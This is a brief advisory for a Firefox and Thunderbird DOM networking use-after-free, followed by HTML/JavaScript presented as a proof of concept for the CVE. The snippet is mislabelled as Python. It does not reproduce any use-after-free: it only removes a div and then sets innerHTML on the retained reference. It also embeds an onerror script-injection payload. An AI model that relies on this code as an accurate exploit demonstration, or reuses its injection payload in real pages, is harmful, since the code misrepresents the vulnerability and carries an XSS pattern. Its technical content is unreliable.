Use-after-free in the DOM: Networking component. This vulnerability was fixed in Firefox 150.0.2, Firefox ESR 140.10.2, Firefox ESR 115.35.2, Thunderbird 150.0.2, and Thunderbird 140.10.2.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8090 -->
<!-- Conceptual Use-after-free simulation -->
<html>
<body>
<script>
// Step 1: Create a DOM element related to networking
let target = document.createElement('div');
document.body.appendChild(target);
// Step 2: Setup a listener or reference
let ref = target;
// Step 3: Trigger free operation (simulating the bug condition)
function triggerFree() {
document.body.removeChild(target);
// In a real scenario, the underlying object is freed here
// but 'ref' might still point to the memory.
}
// Step 4: Attempt to reuse the freed memory
function triggerUse() {
try {
// This access attempts to read/write the freed memory
ref.innerHTML = "<img src=x onerror=alert(1)>";
console.log("Potential UAF triggered");
} catch(e) {
console.log("Access failed");
}
}
triggerFree();
setTimeout(triggerUse, 100);
</script>
</body>
</html>